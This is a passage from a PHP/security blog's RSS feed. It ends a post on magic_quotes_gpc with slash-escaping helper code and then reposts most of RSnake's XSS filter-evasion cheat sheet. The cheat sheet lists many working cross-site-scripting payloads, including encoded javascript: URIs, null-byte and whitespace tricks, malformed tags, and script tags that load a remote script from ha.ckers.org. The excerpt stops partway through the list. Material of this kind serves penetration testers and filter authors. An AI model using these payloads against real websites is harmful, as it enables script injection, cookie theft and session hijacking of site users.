&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$key</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$val</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$string</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> dstripslashes<span style="color: #009900;">&#40;</span><span style="color: #000088;">$val</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">else</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$string</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/stripslashes"><span style="color: #990000;">stripslashes</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$string</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>dz的这两个函数的在原函数的基础上扩充了对数组数据的支持，用起来更方便。不过dz的这两个函数不够简洁，这里我给出两个简洁点的：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">function</span> addslashes_deep<span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; <span style="color: #000088;">$string</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/is_array"><span style="color: #990000;">is_array</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span>?<a href="http://www.php.net/array_map"><span style="color: #990000;">array_map</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'addslashes_deep'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span><a href="http://www.php.net/addslashes"><span style="color: #990000;">addslashes</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$string</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; <br />
&nbsp; <br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> stripslashes_deep<span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; <span style="color: #000088;">$string</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/is_array"><span style="color: #990000;">is_array</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span>?<a href="http://www.php.net/array_map"><span style="color: #990000;">array_map</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'stripslashes_deep'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span><a href="http://www.php.net/stripslashes"><span style="color: #990000;">stripslashes</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$string</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; <span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>在数据入库前和出库后都要记得：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">//入库前</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/get_magic_quotes_gpc"><span style="color: #990000;">get_magic_quotes_gpc</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$_GET</span><span style="color: #339933;">=</span>addslashes_deep<span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$_POST</span><span style="color: #339933;">=</span>addslashes_deep<span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$_REQUEST</span><span style="color: #339933;">=</span>addslashes_deep<span style="color: #009900;">&#40;</span><span style="color: #000088;">$_REQUEST</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">//其它要处理的变量.......</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #666666; font-style: italic;">//出库后</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/get_magic_quotes_gpc"><span style="color: #990000;">get_magic_quotes_gpc</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$_GET</span><span style="color: #339933;">=</span>stripslashes_deep<span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$_POST</span><span style="color: #339933;">=</span>stripslashes_deep<span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$_REQUEST</span><span style="color: #339933;">=</span>stripslashes_deep<span style="color: #009900;">&#40;</span><span style="color: #000088;">$_REQUEST</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">//其它要处理的变量.......</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=3105";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=3105" title="Permanent Link to 关于php中的magic_quotes_gpc和safe_mode" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=3105</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2008年12月21日  //  <a href="http://ihacklog.com/memory/%e4%b8%8d%e8%ae%a9%e4%b8%96%e7%95%8c%e6%94%b9%e5%8f%98%e8%87%aa%e5%b7%b1%ef%bc%88%e8%bd%ac%ef%bc%89.html" title="不让世界改变自己（转）">不让世界改变自己（转）</a> (0)</li><li>2010年05月15日  //  <a href="http://ihacklog.com/server/php-error-while-loading-shared-libraries-libfreetype-so-6.html" title="PHP编译出错：error while loading shared libraries: libfreetype.so.6">PHP编译出错：error while loading shared libraries: libfreetype.so.6</a> (3)</li><li>2010年09月23日  //  <a href="http://ihacklog.com/server/ubuntu-server/nnd-vsftpd.html" title="NND vsftpd郁闷了一天">NND vsftpd郁闷了一天</a> (0)</li><li>2011年08月2日  //  <a href="http://ihacklog.com/php/advanced-php/understanding-and-applying-polymorphism-in-php.html" title="理解和运用PHP中的多态性">理解和运用PHP中的多态性</a> (2)</li><li>2011年12月13日  //  <a href="http://ihacklog.com/php/wordpress/plugins/make-codecolorer-be-compatible-with-wp-3-3.html" title="修正codecolorer与WP 3.3兼容性">修正codecolorer与WP 3.3兼容性</a> (5)</li><li>2011年12月4日  //  <a href="http://ihacklog.com/software/development-tool/emeditor-color-scheme-keywords-what-the-fuck.html" title="令人蛋疼的EmEditor配色问题">令人蛋疼的EmEditor配色问题</a> (3)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/security_optimization/magic_quotes_gpc-and-safe_mode-in-php.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>XSS (Cross Site Scripting) Cheat Sheet Esp: for filter evasion</title>
		<link>http://ihacklog.com/security_optimization/xsscrosssitescriptingcheatsheetespforfilterevasion.html</link>
		<comments>http://ihacklog.com/security_optimization/xsscrosssitescriptingcheatsheetespforfilterevasion.html#comments</comments>
		<pubDate>Mon, 30 Mar 2009 12:47:38 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[安全优化]]></category>

		<guid isPermaLink="false">http://netgeek.cn/memory/?p=1132</guid>
		<description><![CDATA[http://ha.ckers.org/xss.html By RSnake Note from the author: XSS is Cross Site Scripting. If you don&#8217;t know how XSS (Cross Site Scripting) works, this page probably won&#8217;t help you. This page is for people who already understand the basics of X...]]></description>
			<content:encoded><![CDATA[<p>http://ha.ckers.org/xss.html</p>
<p>By <a href="mailto:h@ckers.org?subject=%7Ersnake/xss.html">RSnake</a></p>
<p>Note from the author: XSS is Cross Site Scripting. If you don&#8217;t know how XSS (Cross Site Scripting) works, this page probably won&#8217;t help you. This page is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion. This page will also not show you how to mitigate XSS vectors or how to write the actual cookie/credential stealing/replay/session riding portion of the attack. It will simply show the underlying methodology and you can infer the rest. Also, please note my XSS page has been replicated by the <a href="http://www.owasp.org/">OWASP 2.0 Guide</a> in the Appendix section with my permission. However, because this is a living document I suggest you continue to use this site to stay up to date.</p>
<p>Also, please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the page, however, if you have specific concerns about outdated or obscure versions please download them from <a href="http://browsers.evolt.org/">Evolt</a>.  Please see the <a href="http://ha.ckers.org/xssAttacks.xml">XML format of the XSS Cheat Sheet</a> if you intend to use <a href="http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project">CAL9000</a> or other automated tools. If you have an RSS reader feel free to subscribe to the Web Application Security RSS feed below, or join the <a href="http://sla.ckers.org/forum/">forum</a>:</p>
<div><a href="http://ha.ckers.org/blog/feed/"><img src="http://static.ihacklog.com/wp-files/2009/04/d9e7_xml.gif" border="0" alt="Web Application Security RSS feed" /></a></div>
<p><strong>XSS (Cross Site Scripting):</strong></p>
<ul><a name="XSSlocator">XSS locator</a>. Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word “XSS” will pop up. Use the <a href="http://ha.ckers.org/xss.html#XSScalc">URL encoding calculator</a> below to encode the entire string. Tip: if you&#8217;re in a rush and need to quickly check a page, often times injecting the depreciated “&lt;PLAINTEXT&gt;” tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:<br />
<textarea cols="45" rows="3">&#8216;;alert(String.fromCharCode(88,83,83))//&#8217;;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//&#8211;&gt;&lt;/SCRIPT&gt;”&gt;&#8217;&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSSlocator2">XSS locator 2</a>. If you don&#8217;t have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for &lt;XSS verses &amp;lt;XSS to see if it is vulnerable:<br />
<textarea cols="45" rows="3">”;!&#8211;”&lt;XSS&gt;=&amp;{()}</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_No_filter_evasion">No filter evasion</a>. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):<br />
<textarea cols="45" rows="3">&lt;SCRIPT SRC=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_Image_XSS">Image XSS</a> using the JavaScript directive (IE7.0 doesn&#8217;t support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well &#8211; I&#8217;ll probably revise this at a later date):<br />
<textarea cols="45" rows="3">&lt;IMG SRC=”javascript:alert(&#8216;XSS&#8217;);”&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_No_quotes_no_semicolon">No quotes and no semicolon</a>:<br />
<textarea cols="45" rows="3">&lt;IMG SRC=javascript:alert(&#8216;XSS&#8217;)&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_Case_insensitive">Case insensitive</a> XSS attack vector:<br />
<textarea cols="45" rows="3">&lt;IMG SRC=JaVaScRiPt:alert(&#8216;XSS&#8217;)&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_HTML_entities">HTML entities</a> (the semicolons are required for this to work):<br />
<textarea cols="45" rows="3">&lt;IMG SRC=javascript:alert(&amp;quot;XSS&amp;quot;)&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_Grave_accents">Grave accent</a> obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string &#8211; this is also useful because lots of cross site scripting filters don&#8217;t know about grave accents):<br />
<textarea cols="45" rows="3">&lt;IMG SRC=`javascript:alert(“RSnake says, &#8216;XSS&#8217;”)`&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_Malformed_IMG_tags">Malformed IMG tags</a>.  Originally found by <a href="http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300">Begeek</a> (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:<br />
<textarea cols="45" rows="3">&lt;IMG “”"&gt;&lt;SCRIPT&gt;alert(“XSS”)&lt;/SCRIPT&gt;”&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_fromCharCode">fromCharCode</a> (if no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need). Click <a href="http://www.wocares.com/noquote.php">here</a> to build your own (thanks to Hannes Leopold):<br />
<textarea cols="45" rows="3">&lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_UTF-8_Unicode">UTF-8 Unicode</a> encoding (all of the XSS examples that use a javascript: directive inside of an &lt;IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the <a href="http://ha.ckers.org/xss.html#XSScalc">XSS calculator</a> for more information:<br />
<textarea cols="45" rows="3">&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_Long_UTF-8_Unicode">Long UTF-8 Unicode</a> encoding without semicolons (this is often effective in XSS that attempts to look for “&amp;#XX;”, since most people don&#8217;t know about padding &#8211; up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*&amp;#(d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I&#8217;ve seen this in the wild):<br />
<textarea cols="45" rows="3">&lt;IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_Hex_encoding">Hex encoding</a> without semicolons (this is also a viable XSS attack against the above string $tmp_string =~ s/.*&amp;#(d+);.*/$1/; which assumes that there is a numeric character following the pound symbol &#8211; which is not true with hex HTML characters). Use the <a href="http://ha.ckers.org/xss.html#XSScalc">XSS calculator</a> for more information:<br />
<textarea cols="45" rows="3">&lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_Embedded_tab">Embedded tab</a> to break up the cross site scripting attack: <textarea cols="45" rows="3">&lt;IMG SRC=”jav	ascript:alert(&#8216;XSS&#8217;);”&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_Embedded_encoded_tab">Embedded encoded tab</a> to break up XSS:<br />
<textarea cols="45" rows="3">&lt;IMG SRC=”jav&amp;#x09;ascript:alert(&#8216;XSS&#8217;);”&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_Embeded_newline">Embeded newline</a> to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the <a href="http://ha.ckers.org/ascii.html">ascii chart</a> for more details.  The following four XSS examples illustrate this vector:<br />
<textarea cols="45" rows="3">&lt;IMG SRC=”jav&amp;#x0A;ascript:alert(&#8216;XSS&#8217;);”&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_Embedded_carriage_return">Embedded carriage return</a> to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I&#8217;ve seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):<br />
<textarea cols="45" rows="3">&lt;IMG SRC=”jav&amp;#x0D;ascript:alert(&#8216;XSS&#8217;);”&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_Multiline">Multiline</a> Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector) these are not spaces just one of the three characters as described above:<br />
<textarea cols="45" rows="3">&lt;IMG SRC = ” j a v a s c r i p t : a l e r t ( &#8216; X S S &#8216; ) ” &gt; </textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_Null">Null</a> breaks up JavaScript directive. Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like <a href="http://www.portswigger.net/proxy/">Burp Proxy</a> or use %00 in the URL string or if you want to write your own injection tool you can either use <a href="http://www.vim.org/">vim</a> (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example:<br />
<textarea cols="45" rows="3">perl -e &#8216;print “&lt;IMG SRC=java script:alert(“XSS”)&gt;”;&#8217; &gt; out</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_Null_2">Null</a> breaks up cross site scripting vector. Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I&#8217;ve seen this vector bypass some of the most restrictive XSS filters to date:<br />
<textarea cols="45" rows="3">perl -e &#8216;print “&lt;SCR IPT&gt;alert(“XSS”)&lt;/SCR IPT&gt;”;&#8217; &gt; out</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_Spaces_meta_chars">Spaces and meta chars</a> before the JavaScript in images for XSS (this is useful if the pattern match doesn&#8217;t take into account spaces in the word “javascript:” -which is correct since that won&#8217;t render- and makes the false assumption that you can&#8217;t have a space between the quote and the “javascript:” keyword. The actual reality is you can have any char from 1-32 in decimal):<br />
<textarea cols="45" rows="3">&lt;IMG SRC=” &amp;#14;  javascript:alert(&#8216;XSS&#8217;);”&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_Non_alpha_non_digit">Non-alpha-non-digit</a> XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example “&lt;SCRIPTs” != “&lt;SCRIPT/XSSs”:<br />
<textarea cols="45" rows="3">&lt;SCRIPT/XSS SRC=”http://ha.ckers.org/xss.js”&gt;&lt;/SCRIPT&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_Non_alpha_non_digit2">Non-alpha-non-digit part 2</a> XSS. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc&#8230;) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:<br />
<textarea cols="45" rows="3">&lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|]^`=alert(“XSS”)&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_Non_alpha_non_digit3">Non-alpha-non-digit part 3</a> XSS.  <a href="http://www.watchfire.com/">Yair Amit</a> brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.<br />
<textarea cols="45" rows="3">&lt;SCRIPT/SRC=”http://ha.ckers.org/xss.js”&gt;&lt;/SCRIPT&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
